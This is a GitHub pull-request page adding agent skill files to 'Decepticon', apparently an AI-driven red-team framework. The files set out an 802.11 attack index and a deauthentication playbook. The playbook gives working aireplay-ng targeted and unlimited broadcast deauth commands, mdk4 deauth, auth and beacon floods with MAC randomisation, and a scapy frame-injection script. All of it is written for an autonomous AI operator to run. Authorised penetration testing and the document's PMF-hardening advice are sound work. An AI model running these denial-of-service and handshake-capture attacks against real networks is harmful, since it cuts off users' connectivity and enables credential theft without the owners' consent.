Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
96 changes: 96 additions & 0 deletions packages/decepticon/decepticon/skills/standard/wireless/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
---
name: wireless-overview
description: >
Top-level index for the Decepticon 802.11 wireless attack suite. Routes the
WirelessOperator to the correct leaf skill based on the target AP's crypto
column (PSK / SAE / MGT / WPS) and engagement posture. BLE, Zigbee, Z-Wave,
LoRaWAN, and sub-GHz live under iot/ by design — link provided below to
prevent duplication.
allowed-tools: Bash Read Write
metadata:
subdomain: wireless
when_to_use: "Wi-Fi, 802.11, WPA2, WPA3, EAP, enterprise, evil-twin, deauth, WPS, PSK, SAE, wireless attack, airspace, WLAN, rogue AP"
tags:
- wifi
- 802.11
- wpa2
- wpa3
- eap
- evil-twin
- deauth
- wps
mitre_attack: T1040, T1557, T1110.001
---

# 802.11 Wireless Attack Suite — Operator Index

> Load `workflow.md` first on every wireless iteration (hardware mode
> check, phase progression, scope rules, KG node contract). This file
> is the routing layer on top of it.

## Playbook table

| Leaf skill | Crypto column / trigger | Primary MITRE | Status |
|---|---|---|---|
| [wpa2-psk](wpa2-psk/SKILL.md) | `WPA2 PSK`, `WPA PSK` | T1040, T1110.001 | shipped |
| [wpa3-sae](wpa3-sae/SKILL.md) | `WPA3 SAE`, `WPA2 WPA3` transition mode | T1557, T1040 | shipped |
| [wpa-enterprise-eap](wpa-enterprise-eap/SKILL.md) | `MGT`, `WPA-Enterprise`, `802.1X` | T1557, T1110.001 | shipped |
| [wps-pixie-dust](wps-pixie-dust/SKILL.md) | WPS column non-empty, `WPS` flag in wash | T1110.001, T1040 | shipped |
| [evil-twin-karma](evil-twin-karma/SKILL.md) | Open / PSK, PNL probe leakage, captive portal | T1557, T1556 | shipped |
| [deauth-pmf](deauth-pmf/SKILL.md) | Any target needing client reconnect or 802.11w posture finding | T1498, T1040 | shipped |
| [krack-fragattacks](krack-fragattacks/SKILL.md) | Legacy / embedded supplicant, key-reinstallation / fragmentation test | T1557, T1040 | shipped |

> BLE GATT, Zigbee Touchlink, Z-Wave, LoRaWAN, and sub-GHz attacks
> are scoped to `standard/iot/`. Cross-reference that suite when the
> objective targets non-802.11 RF.

## Hardware mode pointer

Leaf skills inherit the mode check from `workflow.md`:

```
mode = plan/roe.json:machine_enforcement.wireless.mode
"in_sandbox" → USB passthrough, monitor mode inside Kali
"dropbox" → ssh <dropbox> -- '<cmd>' for every wireless op
"none" → refuse, return outcome=blocked
```

## Crypto-mode decision tree

```
airodump-ng --write-interval 1 --output-format csv ...
Read the ENC/CIPHER/AUTH columns:

ENC=WPA2, AUTH=PSK → wpa2-psk
ENC=WPA3, AUTH=SAE → wpa3-sae
ENC=WPA2+WPA3, AUTH=SAE+PSK → wpa3-sae (transition-mode downgrade path)
AUTH=MGT / 802.1X → wpa-enterprise-eap
WPS column non-empty → wps-pixie-dust (run in parallel with PSK path)
Open / no credential needed → evil-twin-karma (KARMA/portal capture)

After selecting the primary leaf, always check:
- deauth-pmf: needed if Path B (four-way) is chosen OR as standalone PMF finding
- krack-fragattacks: applicable when target is legacy/embedded/poor-patch-cadence
```

## KG node contract

All wireless leaf skills write the same node types (mirrors `workflow.md`):

| Node kind | Typical props |
|---|---|
| `Network` | ssid, bssid, channel, crypto, pmf_state |
| `Host` | mac, oui, last_seen_bssid |
| `Credential` | secret_type, ssid, bssid, psk/eap_identity/eap_challenge |
| `Finding` | title, cve_ids (if applicable), severity, remediation |

## OPSEC posture cross-reference

| posture | techniques permitted |
|---|---|
| `stealth` | PMKID (wpa2-psk Path A), passive PMF detect (deauth-pmf), Pixie-Dust only |
| `standard` | + targeted deauth (1 frame), EAP capture, WPS Pixie-Dust |
| `loud` | + broadcast deauth, evil-twin, KARMA, beacon flood, online WPS brute |

> Evil-twin always requires explicit `permitted_actions: evil_twin` in
> `plan/roe.json` regardless of posture — see `workflow.md` scope rules.
Original file line number Diff line number Diff line change
@@ -0,0 +1,231 @@
---
name: deauth-pmf
description: Targeted and broadcast 802.11 deauthentication / disassociation, 802.11w/PMF posture detection, and action-frame attack variants. Reusable by wpa2-psk (handshake), wpa3-sae (downgrade), and evil-twin (roaming coercion).
allowed-tools: Bash Read Write
metadata:
subdomain: wireless
when_to_use: "deauth, disassociation, 802.11w, PMF, MFP, management frame protection, aireplay-ng, mdk4, beacon flood, auth flood, deauth for handshake, PMF disabled finding"
tags:
- deauth
- disassoc
- pmf
- 802.11w
- mdk4
- dos
mitre_attack: T1498, T1040
---

# Deauth / Disassoc + 802.11w (PMF) Posture

> This is a shared-primitive skill. Most callers need it to coerce
> a single client reconnect (handshake capture or evil-twin roaming).
> The standalone deliverable is the **PMF state finding**:
> `pmf_state ∈ {disabled, optional, required}` is always worth
> documenting as a network finding regardless of whether deauth is
> needed for the attack path.

## Prerequisites

- Monitor-mode + injection-capable adapter on the target channel.
- Tools: `aircrack-ng` suite (`aireplay-ng`, `airodump-ng`), `mdk4`,
`tshark` or `iw`.
- Deauth requires `permitted_actions: deauth_for_handshake_capture`
in `plan/roe.json`. Broadcast deauth / DoS requires `posture=loud`.

## Step 1 — PMF state detection from beacons

Read MFPC (Management Frame Protection Capable) and MFPR (Required)
bits from the AP's RSN IE before issuing any deauth frames:

```bash
# Capture beacons for the target BSSID
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/pmf_recon \
--output-format pcap <mon-iface>
# 5–10 seconds is enough to collect multiple beacons.

# Decode RSN capabilities: MFPC + MFPR bits
tshark -r /tmp/pmf_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
-T fields \
-e wlan.ssid \
-e wlan_mgt.rsn.capabilities.mfpc \
-e wlan_mgt.rsn.capabilities.mfpr \
2>/dev/null | sort -u

# Interpretation:
# MFPC=0, MFPR=0 → PMF disabled (deauth frames accepted by all clients)
# MFPC=1, MFPR=0 → PMF optional (deauth works against clients that don't support PMF)
# MFPC=1, MFPR=1 → PMF required (deauth frames are encrypted; unprotected deauth rejected)
```

```bash
# Alternative: iw to inspect connected interface (if you have network access)
iw dev <iface> info | grep -i pmf
# or from scan results:
iw <iface> scan | grep -A 20 "<SSID>" | grep -i "protected\|pmf\|mfp"
```

**Decision based on PMF state:**

| PMF state | Deauth viable? | Action |
|---|---|---|
| `disabled` (MFPC=0) | Yes — all clients accept unprotected deauth | Proceed to Step 2 |
| `optional` (MFPC=1, MFPR=0) | Partial — clients that didn't negotiate PMF accept deauth | Proceed; note some clients may be immune |
| `required` (MFPC=1, MFPR=1) | No — all deauth rejected unless encrypted | PMKID still viable; mark deauth as blocked |

## Step 2 — Targeted single-client deauth (standard / stealth)

```bash
# Identify connected clients first
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> <mon-iface>
# Bottom section shows STATION (client) MACs.

# Send a SINGLE targeted deauth frame (one reconnect trigger)
sudo aireplay-ng --deauth 1 \
-a <BSSID> \
-c <CLIENT_MAC> \
<mon-iface>

# Confirm the client reassociates and watch for the handshake in
# airodump's header: "WPA handshake: <BSSID>"
```

```bash
# Send a burst of targeted deauth (3–5 frames) if single deauth is ignored
# (e.g., client is in power-save mode or noisy RF environment)
sudo aireplay-ng --deauth 5 \
-a <BSSID> \
-c <CLIENT_MAC> \
<mon-iface>
```

**OPSEC:** Targeted deauth to a single client is visible in WIDS but
low-severity. One or two frames at engagement cadence = noise. Burst
deauth (>10 frames) triggers WIDS alerts on most enterprise platforms.

## Step 3 — Broadcast deauth (posture=loud, DoS testing)

```bash
# Broadcast deauth to all clients on the AP (posture=loud only)
# This is a DoS action — confirm it is an accepted risk in RoE.
sudo aireplay-ng --deauth 0 \
-a <BSSID> \
<mon-iface>
# --deauth 0 = unlimited broadcast; Ctrl+C to stop.

# Broadcast disassociation variant
sudo aireplay-ng --deauth 10 \
-a <BSSID> \
<mon-iface>
```

**RoE gate for broadcast deauth:**

```
HARD STOP: broadcast deauth requires posture=loud AND
plan/roe.json:permitted_actions contains "broadcast_deauth" or "dos_testing"
This is a denial-of-service action — all clients lose connectivity.
```

## Step 4 — mdk4 beacon flood / auth flood (DoS testing)

```bash
# mdk4 deauth flood (more evasive — randomizes source MACs)
sudo mdk4 <mon-iface> d \
-B <BSSID> \
-c <CHANNEL>

# mdk4 auth flood (overwhelms AP's association table)
sudo mdk4 <mon-iface> a \
-a <BSSID>

# mdk4 beacon flood (SSID pollution — interferes with scanning)
sudo mdk4 <mon-iface> b \
-n "TargetSSID-DoS" \
-c <CHANNEL>
```

**Note:** mdk4 beacon flood does not disconnect clients; it pollutes
the visible network list. Auth flood + deauth flood together cause
AP memory/state table exhaustion on older firmware.

## Step 5 — Unprotected action-frame attacks (PMF optional/disabled)

Where PMF is optional or disabled, non-deauth management frames (SA
Query, Channel Switch Announcement) may also be unauthenticated:

```bash
# Check for SA-Query implementation via scapy (unprotected SA-Query test)
# This tests whether the AP responds to unauthenticated SA-Query frames,
# indicating incomplete PMF implementation even when MFPC=1.
sudo python3 - << 'PYEOF'
from scapy.all import *
from scapy.layers.dot11 import *

pkt = RadioTap() / \
Dot11(type=0, subtype=13, addr1=<CLIENT_MAC>, addr2=<SPOOF_MAC>, addr3=<BSSID>) / \
Dot11Action(category=8) / Raw(load=b'\x01\x00\x00\x01')
# category=8 = SA Query; action 0x01 = SA Query Response
sendp(pkt, iface=<mon-iface>, count=3, inter=0.1)
PYEOF
# If the client responds without encrypted SA-Query, PMF negotiation
# is incomplete (client accepted the connection without PMF).
```

## Evidence

Always write the PMF finding:

```python
kg_add_node(
kind="finding",
label=f"802.11w/PMF State: {pmf_state_label} on {ssid}",
props={
"key": f"pmf-state::{bssid}",
"severity": {
"disabled": "high",
"optional": "medium",
"required": "info",
}[pmf_state],
"pmf_state": pmf_state, # "disabled" | "optional" | "required"
"mfpc": mfpc, # bool
"mfpr": mfpr, # bool
"deauth_viable": pmf_state != "required",
"bssid": bssid,
"ssid": ssid,
"remediation": (
"Set MFP=Required on the AP (MFPR=1). "
"WPA3 mandates PMF-required by spec. "
"WPA2 networks should be upgraded to PMF=Required."
),
},
)
```

If deauth was used for handshake capture, cross-reference the
`wpa2-psk` or `wpa3-sae` skill for the resulting Credential node.

## ZFP

1. tshark output showing MFPC/MFPR bits from beacon RSN capabilities.
2. Pcap showing deauth frame(s) and client re-association (or PMF-protected rejection).
3. airodump header line "WPA handshake: <BSSID>" if deauth was for handshake capture.

## OPSEC notes

- A single targeted deauth (`--deauth 1`) is the minimum impact
action. Prefer it over any broadcast variant.
- 802.11w PMF-required networks: deauth is cryptographically blocked.
Do not waste frames. PMKID capture (wpa2-psk Path A) still works
on these networks and doesn't require deauth.
- mdk4 auth flood / beacon flood are loud and persistent — immediately
visible in any WIDS. Reserve for explicit DoS-assessment objectives.
- Regulatory: deauth is a TX operation. Confirm `iw reg get` and
channel authorization before any transmission.

## References

- IEEE 802.11w-2009 — Management Frame Protection amendment.
- `wpa2-psk` skill — Path B (handshake capture) calls this skill for deauth.
- `wpa3-sae` skill — Path A (transition-mode downgrade) may use deauth.
- `evil-twin-karma` skill — Step 3 (roaming coercion) calls this skill.
- mdk4: github.com/aircrack-ng/mdk4
Loading
Loading